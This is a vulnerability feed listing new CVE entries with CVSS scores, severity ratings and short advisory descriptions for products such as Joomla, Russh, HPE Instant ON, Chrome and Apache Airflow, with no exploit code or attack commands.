CVE-2026-102823	New	7.5	HIGH				Russh is a Rust SSH client and server library. Prior to 0.63.1, client_read_authenticated in russh/src/client/encrypted.rs forwards CHANNEL_DATA, CHANNEL_EXTENDED_DATA, CHANNEL_EOF, CHANNEL_CLOSE, CHANNEL_OPEN_FAILURE, CHANNEL_SUCCESS, CHANNEL_FAILURE, and CHANNEL_REQUEST subtypes exit-status, exit-signal, and xon-xoff to public client::Handler callbacks without confirming t...
CVE-2026-103042	New	7.5	HIGH				LightLLM through 1.2.0 contains a memory exhaustion vulnerability in the NCCL control channel when started with --pd_trans_mode nccl, allowing unauthenticated attackers to exhaust KV-transfer worker memory. Attackers can call the exposed_set_value method to store unbounded key-value pairs without size limits, causing the worker process to crash and triggering node failure.
CVE-2026-103043	New	7.5	HIGH				anchorme through 3.0.8 contains a regular expression denial of service vulnerability in the IPv6 host extraction regex due to catastrophic backtracking. Attackers can supply specially crafted input strings with repeated patterns to cause exponential regex engine backtracking, blocking the Node.js event loop and denying service to other requests.
CVE-2026-103055	New	7.5	HIGH				AiSOC versions 7.5.0 before 12.0.0 use a hard-coded constant for JWT verification in the realtime WebSocket and SSE service when the AISOC_REALTIME_JWT_SECRET environment variable is not set. Unauthenticated attackers can forge subscription tickets with arbitrary tenant identifiers to access cross-tenant live alerts, cases, agent events and graph updates through the realtime...
CVE-2026-103088	New	7.5	HIGH				Handlebars.java before 4.5.5 allows directory traversal. In handlebars-springmvc 4.5.3 and 4.5.4, the path-containment fix for CVE-2026-63490 validates template locations as raw percent-encoded strings, whereas the template file is opened through a URL handler that percent-decodes the path. In a Spring MVC application with a file: template prefix and a request-derived view n...
CVE-2026-103099	New	7.5	HIGH				Pexip Infinity before 41.1 is affected by improper input validation in the media implementation that allows a remote attacker to trigger a software abort resulting in a denial of service.
CVE-2026-103100	New	7.5	HIGH				Pexip Infinity before 40.1 is affected by improper input validation in the signaling implementation that allows a malicious attacker to trigger a software abort resulting in a denial of service.
CVE-2026-103104	New	7.5	HIGH				Pexip Infinity before 38.2, plus 39.0, 39.1 and 40.0, is affected by improper input validation in the media implementation which allows a remote attacker to trigger a software abort resulting in a denial of service.
CVE-2026-103108	New	7.5	HIGH				Pexip Infinity before 38.2, plus 39.0, 39.1, and 40.0, is affected by improper input validation in the media implementation that allows a remote attacker to trigger a software abort resulting in a denial of service

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-13046	New	7.5	HIGH				A deserialization of untrusted data vulnerability in WatchGuard Fireware OS's SAML single sign-on session handling (samld) allows an attacker who has already obtained the ability to write files on the appliance to execute arbitrary code in the context of the samld service by causing samld to load a maliciously crafted session file.
CVE-2026-63209	New	7.5	HIGH				compress provides various compression algorithms. Prior to version 1.18.7, a signed integer overflow vulnerability in s2.NewDict() allows an attacker to bypass repeat index validation by supplying a dictionary with a uvarint-encoded repeat value exceeding MaxInt64. When Dict.Encode() is subsequently called, the overflowed negative repeat value causes an out-of-bounds memory ...
CVE-2026-71302	New	7.5	HIGH				The application accepts user-supplied session identifiers and does not regenerate the session ID after authentication. This allows an attacker to predefine a session ID and reuse it after victim authentication, resulting in session takeover.
CVE-2026-72897	New	7.5	HIGH				Issue summary: A TLS server that calls SSL_set_SSL_CTX() to switch a connection to a different SSL_CTX part way through a handshake may access memory beyond the end of an internal array if the replacement context knows about more provider signature algorithms than the context the connection was created from. Applications which never call SSL_set_SSL_CTX() are not affected. ...
CVE-2026-84440	New	7.5	HIGH				IBM Guardium Data Protection 12.2 is vulnerable to command injection in the SNMP alert notification functionality. An authenticated attacker who can influence policy alert text can cause attacker-controlled data to be executed as operating system commands by the SNMP alerter service, which runs with root privileges.
CVE-2026-84783	New	7.5	HIGH				Issue summary: The first concurrent use of the same X.509 certificate by several threads may cause its cached extension data to be freed while another thread is still using it. Impact summary: A remote, unauthenticated peer could crash a multi-threaded TLS client, or a multi-threaded TLS server that requests client certificates, if the first certificate chains built to the ...
CVE-2026-84784	New	7.5	HIGH				Issue summary: A malicious remote peer may flood the local QUIC stack with NEW_CONNECTION_ID frames by avoiding a limit check on how many connection IDs the remote QUIC stack can use. Impact summary: The local QUIC stack sends a RETIRE_CONN_ID frame for every NEW_CONNECTION_ID frame it receives. The RETIRE_CONN_ID frame is dispatched via the Control Frame Queue (CFQ). If th...
CVE-2026-86450	New	7.5	HIGH				Insertion of sensitive information into sent data vulnerability in Parla Auto Automotive Trading Limited Company DetaWix Mobile Web Portal allows Accessing Functionality Not Properly Constrained by ACLs. This issue affects DetaWix Mobile Web Portal: before v1.0.19.
CVE-2026-95280	New	7.5	HIGH				Race condition in V8 in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVE-2026-102675	New	7.4	HIGH			npm:electron	Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 41.10.6, 42.9.2, 43.4.1, and 44.0.0-beta.5, responses served through protocol.registerFileProtocol or protocol.registerHttpProtocol for a custom scheme registered with supportFetchAPI enabled but corsEnabled disabled could remain script-readable across origins. Th...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102293	New	7.3	HIGH		0.003		A vulnerability was identified in realjerrytang tacomall 1.0.0. Impacted is the function OrgStaffServiceImpl.add of the file ApiMaApplication.java of the component api-admin Backend. The manipulation of the argument isAdmin/jobId leads to improper authorization. Remote exploitation of the attack is possible. The exploit is publicly available and might be used.
CVE-2026-102874	New	7.3	HIGH				A vulnerability was identified in HKUDS AnyTool 0.1.0. Affected is the function subprocess.run of the file anytool/local_server/main.py of the component Execute Endpoint. The manipulation of the argument command/shell leads to os command injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The project was informed of...
CVE-2026-102908	New	7.3	HIGH				A vulnerability was determined in SourceCodester Online Reviewer Management System 1.0. This issue affects some unknown processing of the file /reviewer_0/admins/assessments/examproper/questions-view.php. Executing a manipulation of the argument ID can lead to sql injection. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be util...
CVE-2026-102909	New	7.3	HIGH				A vulnerability was identified in SourceCodester Online Reviewer Management System 1.0. Impacted is an unknown function of the file /reviewer_0/admins/assessments/examproper/btn_functions.php. The manipulation of the argument access_code leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used.
CVE-2026-102910	New	7.3	HIGH				A security flaw has been discovered in SourceCodester Online Reviewer Management System 1.0. The affected element is an unknown function of the file /reviewer_0/admins/assessments/examproper/exam-delete.php. The manipulation of the argument test_id results in sql injection. The attack can be launched remotely. The exploit has been released to the public and may be used for a...
CVE-2026-102913	New	7.3	HIGH				A security flaw has been discovered in SourceCodester Car Driving School Management System 1.0. Impacted is an unknown function of the file /classes/Master.php?f=save_enrollment. The manipulation results in sql injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.
CVE-2026-102937	New	7.3	HIGH				virtualenv is a tool for creating isolated virtual python environments. Prior to 21.7.12, BatchActivator.quote() returns prompt text unchanged before activate.bat inserts it into a cmd.exe set "VAR=value" statement. An attacker who influences --prompt, VIRTUALENV_PROMPT, or the corresponding configuration value can include a double quote that closes the assignment and leaves...
CVE-2026-92369	New	7.3	HIGH				TeamViewer Full Client and Host prior to version 15.82 on Windows contain a TOCTOU race condition in the installer rollback mechanism. A local low-privileged attacker can replace rollback backup files stored in a user-writable temporary directory before they are restored by an elevated installer, resulting in privilege escalation to NT AUTHORITY/SYSTEM. Exploitation requires ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-100296	New	7.2	HIGH				In Anjvision YSSD-RTMP-H5 firmware version 3.3.2.4, an empty-body POST to /setUserConfig, dispatched through the web server's SOAP-RPC handler, silently downgrades the administrator password to the default value and corrupts the in-memory authentication state until the device reloads. The handler does not verify the session's privilege level, so any authenticated user can tr...
CVE-2026-76727	New	7.2	HIGH				Command injection vulnerabilities exist in the affected interface of HPE Networking Instant ON that could allow an authenticated remote attacker with high privileges to perform command injection. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.
CVE-2026-76728	New	7.2	HIGH				A vulnerability in the API endpoint of HPE Networking Instant ON APs could allow an authenticated remote attacker with high privileges to conduct a server-side request forgery (SSRF) attack. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.
CVE-2026-84422	New	7.2	HIGH				IBM Guardium Data Protection 12.2 is vulnerable to command injection in the CLI certificate SMIME recipient deletion functionality, allowing an authenticated privileged CLI user to execute arbitrary commands with root privileges.
CVE-2026-86101	New	7.2	HIGH				An improper authorization vulnerability in WatchGuard Fireware OS's SAML login process allows a remote, authenticated SAML user with access only to the Access Portal to obtain unauthorized Mobile VPN with SSL access through a specially crafted request.
CVE-2026-93853	New	7.2	HIGH				Unverified ownership in Barman snapshot backup deletion allows a principal who can write the backup catalog to cause Barman to delete unrelated cloud snapshots. When a snapshot backup is deleted, either explicitly or by retention policy enforcement, Barman reads the snapshot identifiers from the backup.info file and passes them to the cloud provider's delete API using Barman...
CVE-2026-96649	New	7.2	HIGH				The Frontend Post Submission Manager Lite – Frontend Posting WordPress Plugin plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via post_content Parameter (data-label DOM Sink) in all versions up to, and including, 1.3.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitra...
CVE-2026-102714	New	7.1	HIGH				`_nx_icmpv6_validate_options()` scans the option area with `while (length > 2)` (`common/src/nx_icmpv6_validate_options.c:79`). An area whose size leaves a one- or two-byte residue exits the loop with that tail unexamined; the residue is not negative, so the function returns `NX_SUCCESS`. Its zero-length rejection never sees those bytes. Every consumer then re-walks the s...
CVE-2026-102715	New	7.1	HIGH				Any host on the LAN can send two mDNS records and make the responder write past the end of its transmit packet. The string table stores each name in a slot rounded up to a multiple of four: ``c /* addons/mdns/nxd_mdns.c:11436, 11443, 11447 */ memory_len = ((memory_len & 0xFFFFFFF) + 8) & 0xFFFFFFF; ... len = *((USHORT*)(p - 2)); /* slot size...
CVE-2026-102809	New	7.1	HIGH				PX4 Autopilot through 1.17.0 contains an uncontrolled stack allocation vulnerability in the file2 test command that fails to validate the write chunk size parameter. Attackers with shell access can supply an excessively large value to the -c option to trigger stack overflow and crash the flight controller.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-103054	New	7.1	HIGH				AiSOC versions before 12.0.0 contain an authorization bypass vulnerability in the MSSP module that allows authenticated users to add arbitrary tenants to portfolios they own. Attackers can submit tenant UUIDs via the add_tenants_to_portfolio endpoint to claim unclaimed tenants and read their security alerts, incidents, and posture metrics without consent.
CVE-2026-103087	New	7.1	HIGH				Uncontrolled recursion in the Gosub browser engine (gosub-engine) through 0.1.0 and main before commit 46868b3 allows a remote attacker to cause a Denial of Service (stack exhaustion and application crash) via an SVG document containing an excessive number of deeply nested elements. Because the engine does not limit the nesting depth of processed SVG nodes, rendering such a ...
CVE-2026-18105	New	7.1	HIGH				An uncontrolled resource consumption vulnerability in Fireware OS's diagnostic tasks feature allows a low-privileged, authenticated user to cause a denial of service of the system's diagnostic tools by repeatedly starting and aborting a specially crafted diagnostic task through the web UI.
CVE-2026-74225	New	7.1	HIGH				U-Boot before 2026.10-rc5 contains out-of-bounds memory access in dhcp6_parse_options() that fails to validate SERVERID and CLIENTID option lengths from DHCPv6 packets. Attackers on the local network can send crafted DHCPv6 ADVERTISE or REPLY packets during netboot to corrupt memory and crash the bootloader.
CVE-2026-86136	New	7.1	HIGH				A missing authorization vulnerability in the wagent management daemon's session initialization function allows an authenticated, low-privileged user (including a read-only or guest administrator account) to crash the wagent process and read arbitrary files accessible to the daemon by submitting a specially crafted management API request.
CVE-2026-90441	New	7.1	HIGH				A missing authorization vulnerability in the wagent management daemon's session initialization function allows an authenticated, low-privileged user (including a read-only or guest administrator account) to crash the wagent process and read arbitrary files accessible to the daemon by submitting a specially crafted management API request.
CVE-2026-92231	New	7.1	HIGH				Joomla! Core - [20260915] - Core - XSS filter bypass in InputFilter via HTML5 entity decode mismatch in Joomla 1.5.0-5.4.8, 6.0.0-6.1.3 - The checkAttribute method normalized an attribute value before testing it against the "javascript:" scheme regex, however without decoding HTML5 entities beforehand, causing an XSS vector.
CVE-2026-92232	New	7.1	HIGH				Joomla! Core - [20260916] - Core - XSS filter bypass in InputFilter via whitespace characters in HTML data URIs in Joomla 1.5.0-5.4.8, 6.0.0-6.1.3 - The cleanAttribute method removes HTML data URIs, however injected whitespaces characters could circumvent that cleanup, causing an XSS vector.
CVE-2026-95520	New	7.1	HIGH				A heap-based buffer overflow flaw was found in rpm. Parsing a symlink entry in an untrusted RPM package whose declared RPMTAG_LONGFILESIZES value is 0xFFFFFFFFFFFFFFFF causes an integer overflow in iterReadArchiveNext() that shrinks a buffer allocation to one byte, after which the payload's independently-controlled cpio filesize field is used to write attacker-controlled dat...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-96440	New	7.1	HIGH		0.003		Improper Limitation of a Pathname to a Restricted Directory■Path Traversal■ in the /WebAgenda/download/uploadFile.jsp API endpoint of Flowring Agentflow 4.0 version before 2023/03/24 allows remote authenticated users to write files to arbitrary locations outside the intended upload directory via the path parameter.
CVE-2026-100299	New	7.0	HIGH				In Anjvision YSSD■RTMP■H5 firmware version 3.3.2.4, the device includes a legacy password hash on the serial console that relies on a weak DES■based encryption.
CVE-2026-19547	New	7.0	HIGH				Ghostscript for Windows is vulnerable to local privilege escalation through PostScript resource file hijacking. Due to the application searching for PostScript resource files in predictable paths under C:\gs\ that do not exist by default on Windows installations, combined with Windows default ACLs allowing any authenticated user to create directories at the root of C:\, a...
CVE-2026-90913	New	7.0	HIGH				Joomla! Core - [20260903] - Core - Improper ACL checks for access level webservice endpoints in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - An improper access check allows unauthorized users to perform mutation actions in access level endpoints.
CVE-2026-90915	New	7.0	HIGH				Joomla! Core - [20260905] - Core - Arbitrary directory deletion via cache purge action in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 -An improper validation of the cache group name allowed path traversals in the file storage of the caching layer, resulting in arbitrary directory deletions.
CVE-2026-92226	New	7.0	HIGH				Joomla! Core - [20260913] - Core - Improper ACL checks for varous webservice edit tasks in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - An improper access check allows unauthorized users to perform edit actions on otherwise uneditable items.
CVE-2026-92371	New	7.0	HIGH				TeamViewer Full Client and Host for Linux prior version 15.82 contains an improper path validation vulnerability in the Cloud Session Recording (CSR) functionality. By exploiting a race condition during path validation and subsequent file access, a local authenticated attacker may cause privileged file operations in unintended locations on the affected system.
CVE-2026-100297	New	6.9	MEDI				In Anjvision YSSD■RTMP■H5 firmware version 3.3.2.4, an unauthenticated network check function can be triggered to probe arbitrary hosts from the device's internal network. This may expose internal information or leak data via DNS queries.
CVE-2026-101112	New	6.9	MEDI				Joomla Extension - balbooa.com - Unauthorized Deletion of Attachments in Balbooa Forms < 2.4.3.4 - The public removeTmpAttachment action accepts an integer attachment ID and deletes the matching database row and file. The controller verifies a Joomla session token, but the model does not bind that ID to the session that uploaded the file, the current user, the form, the uplo...
CVE-2026-101126	New	6.9	MEDI				Joomla Extension - balbooa.com - File meta data tampering in Balbooa Forms < 2.4.3.4 - The final form submission processes JSON arrays per upload field, checking only that IDs are numeric. Client-supplied filenames and display names are trusted directly, introducing potential cross-session claiming, metadata tampering, and path traversal risks (e.g., via getFilePath())

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102252	New	6.9	MEDI				A path traversal vulnerability (CWE-22) in the embedded VMDK filesystem extractor in Google OSV-SCALIBR versions 0.3.6 through 0.5.0 allows an attacker who controls the scan target to write arbitrary files to the host system. When scanning crafted VMDK images, insufficient validation of archive path entries allows file extractions to escape destination directories.
CVE-2026-102721	New	6.9	MEDI				A TFTP server that answers with a short ERROR packet makes the client read up to 64 bytes past the received datagram. Each receive path checks only that the datagram is at least four bytes long (nxd_tftp_client.c:1229, 1521, 1984). When the opcode is NX_TFTP_CODE_ERROR the message string is copied with a loop whose only limits are the destination buffer and a NUL...
CVE-2026-102722	New	6.9	MEDI				In the IPv4 PASV path, the FTP Client accepts whatever address was sent in the server's `227` reply. Validation only covers the parse and the non-zero values, thus a malicious server can name any address and direct the Client there.
CVE-2026-41875	New	6.9	MEDI				Quick.Cart is vulnerable to Cross-Site Request Forgery in admin config panel. Malicious attacker can craft special website, which when visited by the admin, will automatically send a POST request that changes admin's login and password. This software does implement simple protection against this type of attack, but it is easily bypassed by manipulating the referer header. Al...
CVE-2026-90907	New	6.9	MEDI				Joomla! Core - [20260902] - Core - Unauthorized user account creation via profile.save controller in Joomla 1.5.0-5.4.8, 6.0.0-6.1.3 - The profile.save controller did not check the login state of a user, allowing the creation of guest-level users on sites without active user registration.
CVE-2026-90917	New	6.9	MEDI				Joomla! Core - [20260907] - Core - Improper ACL checks in outputs for tagged items in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - An improper access check allows unauthorized users to view content items from inaccessible categories.
CVE-2026-90918	New	6.9	MEDI				Joomla! Core - [20260908] - Core - XSS in HTML Mail Templates in Joomla 4.0.0-5.4.8, 6.0.0-6.1.3 - The mail template feature lacks an escaping mechanism, causing XSS vectors in multiple extensions.
CVE-2026-97688	New	6.9	MEDI				urllib3 is an HTTP client library for Python. From 2.6.2 until 2.8.0, HTTPResponse.stream and HTTPResponse.read_chunked can enter an infinite loop because the Deflate decoder retains trailing bytes as unconsumed input after reaching end-of-stream and repeatedly decodes them without progress. The issue occurs when an untrusted server sends a chunked Deflate response whose dec...
CVE-2025-33207	New	6.8	MEDI				NVIDIA ConnectX and Bluefield contain a vulnerability in a control register, where a user with VF access could cause improper access control for the register interface by sending a malicious command to the firmware. A successful exploit of this vulnerability might lead to denial of service.
CVE-2026-102507	New	6.8	MEDI				Sliver C2 framework version 1.7.7 and earlier contains an unhandled panic vulnerability in the operator gRPC handler that allows an attacker controlling a compromised implant to crash the entire teamserver by returning a malformed or empty Download response. Attackers can send zero-length or 1-3 byte data payloads through a hostile implant session to trigger an out-of-bounds...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102568	New	6.8	MEDI				Pardus Parental Control before 0.7.0 contains an incorrect authorization vulnerability in the polkit policy that allows unprivileged local users to disable parental controls as root. Attackers can invoke PPCActivator.py with the --disable argument via pkexec to remove all restrictions including DNS filtering and application limits without authentication.
CVE-2026-102830	New	6.8	MEDI				JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook Architecture. From JupyterLab 3.0.0 until 4.5.11 and 4.6.4, and in JupyterLite Core 0.8.3 and earlier, the Plural-Forms header in a selected third-party language pack can append JavaScript after a valid plural rule because prefix-only regular-expression validatio...
CVE-2026-76729	New	6.6	MEDI				A format string vulnerability in the API endpoint of HPE Networking Instant ON APs could allow an authenticated remote attacker with high privileges to cause memory corruption with a modified input. Successful exploitation could allow an attacker to provoke a denial-of-service condition or remote code execution in the affected system function.
CVE-2026-100286	New	6.5	MEDI				Missing authorization in the data source settings API in Devolutions Server 2026.3.5.0 and earlier allows an authenticated non-administrative user to disclose integration secrets via a crafted API request.
CVE-2026-100795	New	6.5	MEDI				Denial-of-service in the Networking component. This vulnerability was fixed in Firefox 157.
CVE-2026-100812	New	6.5	MEDI				Denial-of-service in the Graphics component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-100826	New	6.5	MEDI				Denial-of-service in the Storage: StorageManager component. This vulnerability was fixed in Firefox ESR 153.4 and Firefox 157.
CVE-2026-102623	New	6.5	MEDI				A flaw was found in KubeVirt. An authenticated user with permission to create Virtual Machine Instances (VMIs) can cause a Denial of Service (DoS) by submitting a virtual machine definition with an empty ephemeral volume. The virt-controller component fails to properly validate the volume configuration, leading to an unhandled exception and application crash during processin...
CVE-2026-102639	New	6.5	MEDI				MobilityDB version 1.3.0 and earlier contains an out-of-bounds read vulnerability in the MEOS binary and library WKB deserialization logic that allows unprivileged database users to crash the PostgreSQL backend process by supplying a crafted WKB payload with a negative length field. The negative length value wraps to a large unsigned size_t due to missing signed validation, ...
CVE-2026-102804	New	6.5	MEDI				A vulnerability was detected in Nothings stb up to 2c980bb59875b0d32144a71867fbdebb2f77cd20. The impacted element is the function hexwave_init in the library stb_hexwave.h. Performing a manipulation of the argument width/oversample results in integer overflow. Remote exploitation of the attack is possible. The exploit is now public and may be used. The project was informed o...
CVE-2026-102805	New	6.5	MEDI				A flaw has been found in Nothings stb up to 1.16. This affects the function stbi_write_png_to_mem/stbi_write_jpg_core/stbi_write_tga_core in the library stb_image_write.h of the component Image Encoding. Executing a manipulation can lead to integer overflow. The attack can be executed remotely. The exploit has been published and may be used.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-102808	New	6.5	MEDI				PX4 Autopilot through 1.17.0 contains a NULL pointer dereference vulnerability in the sd_stress command where the -b byte count parameter is parsed without validation before being passed to malloc() and memset(). Attackers with shell access, including through MAVLink, can supply invalid byte count values to crash the flight controller.
CVE-2026-102821	New	6.5	MEDI				Russh is a Rust SSH client and server library. Prior to 0.63.2, an authenticated remote peer can send SSH_MSG_KEXINIT without the required SSH_MSG_KEX_ECDH_INIT and then flood SSH_MSG_CHANNEL_OPEN messages while SessionKexState::InProgress prevents priority_receiver in russh/src/server/session.rs from being drained. The server continues processing network input and enqueues ...
CVE-2026-66083	New	6.5	MEDI				The /datasources/unauth-datasource endpoint does not properly enforce data source authorization. An authenticated user can invoke this endpoint to obtain information about data sources they are not authorized to access. This may expose data source configuration and other sensitive metadata, depending on the fields returned by the endpoint. This issue affects Apache Dolphi...
CVE-2026-73597	New	6.5	MEDI				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains a Cross-Site Request Forgery (CSRF) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure, Information tampering, Launch of phishing attacks, and Protection mechanism bypass.
CVE-2026-76730	New	6.5	MEDI				An authentication bypass vulnerability exists in the PAPI protocol of HPE Networking Instant ON APs that could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to circumvent certain existing authentication mechanisms and send unauthorized network traffic to the target device.
CVE-2026-76731	New	6.5	MEDI				An authentication bypass vulnerability in the captive portal of HPE Networking Instant On could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain limited access to some data and to make limited changes within the affected component.
CVE-2026-8067	New	6.5	MEDI		0.003		An improper authorization vulnerability in the end-of-life versions of RTU500's web application allows an authenticated user to trigger the RTU500 to reboot through the reset endpoint. Successful exploitation could cause temporary device unavailability and disruption of its intended operation.
CVE-2026-81862	New	6.5	MEDI				Apache Airflow's Teradata provider embedded cloud storage credentials directly into SQL statements. `S3ToTeradataOperator` and `AzureBlobStorageToTeradataOperator` interpolate the source bucket's credentials as plain string literals into the `CREATE MULTiset TABLE ... LOCATION` statement whenever the bucket is private and no `teradata_authorization_name` is configured — whic...
CVE-2026-95327	New	6.5	MEDI				Information leak in Networking in Google Chrome prior to 154.0.8037.57 allowed a remote attacker to leak sensitive information via a crafted HTML page. (Chromium security severity: Low)
CVE-2026-95328	New	6.5	MEDI				Confused deputy in Mobile in Google Chrome on on Android prior to 154.0.8037.57 allowed a local attacker leveraging social engineering to obtain sensitive information via a co-installed app. (Chromium security severity: Low)

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-95336	New	6.5	MEDI				Information leak in Transactions Platform in Google Chrome prior to 154.0.8037.57 allowed a remote attacker leveraging social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-95382	New	6.5	MEDI				Improper input validation in Auth in Google Chrome prior to 154.0.8037.57 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)
CVE-2026-73594	New	6.4	MEDI				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, Versions prior to 5.36, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Information disclosure, Information tampering, and Protection mechanism bypass.
CVE-2026-76732	New	6.4	MEDI				A local privilege-escalation vulnerability has been discovered in the affected daemon of HPE Networking Instant ON. Successful exploitation of this vulnerability could allow a local attacker to achieve arbitrary code execution with root privileges if certain preconditions are met outside of the attacker's control.
CVE-2026-102598	New	6.3	MEDI				Werkzeug is a comprehensive WSGI web application library. Prior to 3.1.9, the safe_join function used by send_from_directory can allow a NUL: special-device path because safe_join checks the Windows device name without first removing an empty NTFS ADS marker. The trigger is that an application runs on Windows with NTFS and serves a user-specified path ending in a special dev...
CVE-2026-102719	New	6.3	MEDI				Predictable DTLS HelloVerifyRequest Cookie in NetX Secure
CVE-2026-102759	New	6.3	MEDI				NetX Secure TLS accepts an empty application-data record without verifying its message authentication code. In `nx_secure_verify_mac`, a decrypted application record whose length equals the negotiated MAC size is treated as valid and returns success after advancing the receive sequence number. The received MAC is never generated or compared. Empty TLS application-data re...
CVE-2026-102842	New	6.3	MEDI				A vulnerability was identified in gedelumbung HospitalManagement up to c2d45543789a3887067d3915f69d44cfc2cf76a8. Affected by this issue is the function app_user_login_model.php::cekUserLogin of the file application/models/app_user_login_model.php of the component KCFinder File Manager. Such manipulation of the argument ADMIN_RS_KCFINDER leads to unrestricted upload. It is po...
CVE-2026-102906	New	6.3	MEDI				A vulnerability was identified in Oxshariq github-mcp-server up to 52e764a7d66eac1726fce02ca7bb5a638571801a. This issue affects the function child_process.exec of the file src/github.ts of the component Git Remove MCP Tool. Such manipulation of the argument File leads to os command injection. The attack can be executed remotely. The exploit is publicly available and might be...
CVE-2026-81930	New	6.3	MEDI				Apache Airflow's Snowflake provider did not validate the connection's `account` and `region` fields before interpolating them into request URLs. The SQL API endpoint is built as `https://{account}.snowflakecomputing.com/api/v2/statements`, so an `account` value containing `/`, `?` or `#` demotes the intended domain to a path, query or fragment and leaves the attacker in cont...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-86843	New	6.3	MEDI				The Apache Airflow Teradata provider's compute-cluster example Dag declared every one of its Dag Params as unconstrained free text and templated them straight into the compute-cluster operators, which interpolate those values into Teradata DDL. A user who is permitted to trigger that Dag - a lower-trust role than the Dag author, and one that needs no Teradata credentials of ...
CVE-2026-102820	New	6.2	MEDI				pageant provides a [PageantStream] type that implements [AsyncRead] and [AsyncWrite] traits and can be used to talk to a running Pageant instance. Prior to pageant 0.2.3, the Windows pageant crate's pageant/src/wmmesssage.rs MemoryMap::read function trusts a peer-controlled u32 response length supplied through the 8192-byte Pageant shared-memory mapping reached by AgentClient...
CVE-2026-102567	New	6.1	MEDI				CTranslate2 before 4.8.1 contains an out-of-bounds heap read vulnerability in the binary model loader when deserializing string fields without null terminators. Attackers can craft malicious model files to trigger heap memory reads past buffer boundaries, causing crashes or disclosing adjacent heap memory contents.
CVE-2026-102723	New	6.0	MEDI				NULL Pointer Dereference on MSRP Attribute Table Exhaustion
CVE-2026-102724	New	6.0	MEDI				NULL Pointer Dereference When Evicting the Sole MSRP Attribute
CVE-2026-102725	New	6.0	MEDI				Out-of-bounds Read from Unvalidated MSRP Attribute List Length
CVE-2026-102726	New	6.0	MEDI				Unbounded PPP IPCP Option Parsing Causes a Worker Stall and Out-of-bounds Read
CVE-2026-102727	New	6.0	MEDI				FTP Passive Data Connection Not Bound to the Authenticated Control Peer
CVE-2026-102806	New	6.0	MEDI				OpenClaw before 2026.9.5 contains an incorrect authorization vulnerability in the Gateway's local media root allowlist that breaks filesystem isolation between sandboxed sessions. Sandboxed sessions or untrusted content can cause the Gateway to read files from sibling session sandboxes or shared workspace directories through media pipeline functions that fail to restrict rea...
CVE-2026-86105	New	6.0	MEDI				An improper authorization vulnerability in Fireware OS's Access Portal reverse proxy allows an authenticated, low-privileged Access Portal user to access other web applications they are not authorized for by sending a specially crafted request for a different resource which they are authorized to access.
CVE-2026-102633	New	5.9	MEDI				libexpat versions 2.7.2 through 2.8.5 contain an integer overflow vulnerability in expat_realloc() function on 32-bit platforms when computing allocation sizes. Attackers supplying malicious XML to applications parsing with vulnerable libexpat can cause heap buffer overflow, memory corruption, or denial of service.
CVE-2026-102729	New	5.9	MEDI				`gx_binres_theme_load()` sizes its theme buffer for the theme it was asked for, and allocates it even when the resource holds no theme with that id. A theme id at or past the theme count declared by the resource gets a buffer of zero bytes. The load pass then walks past the end of the theme table, takes whatever follows as a theme header, and writes a `GX_THEME` and its tabl...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-12345	New	5.9	MEDI				The cleanup of tempfile.TemporaryDirectory is vulnerable to a race condition. An attacker who can modify the tree during cleanup can replace a directory with a symbolic link, causing files outside of the temporary directory to be deleted or have their permissions and file flags reset, with the privileges of the process performing the cleanup. Note that platforms where shutil...
CVE-2026-71972	New	5.9	MEDI				U-Boot through 2026.10-rc5 contains an out-of-bounds write vulnerability in the video_display_rle8_bitmap function in drivers/video/video_bmp.c. Attackers can supply a crafted RLE8-compressed BMP image to corrupt memory adjacent to the framebuffer and crash the bootloader.
CVE-2026-76114	New	5.9	MEDI				Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains a Cleartext Transmission of Sensitive Information vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.
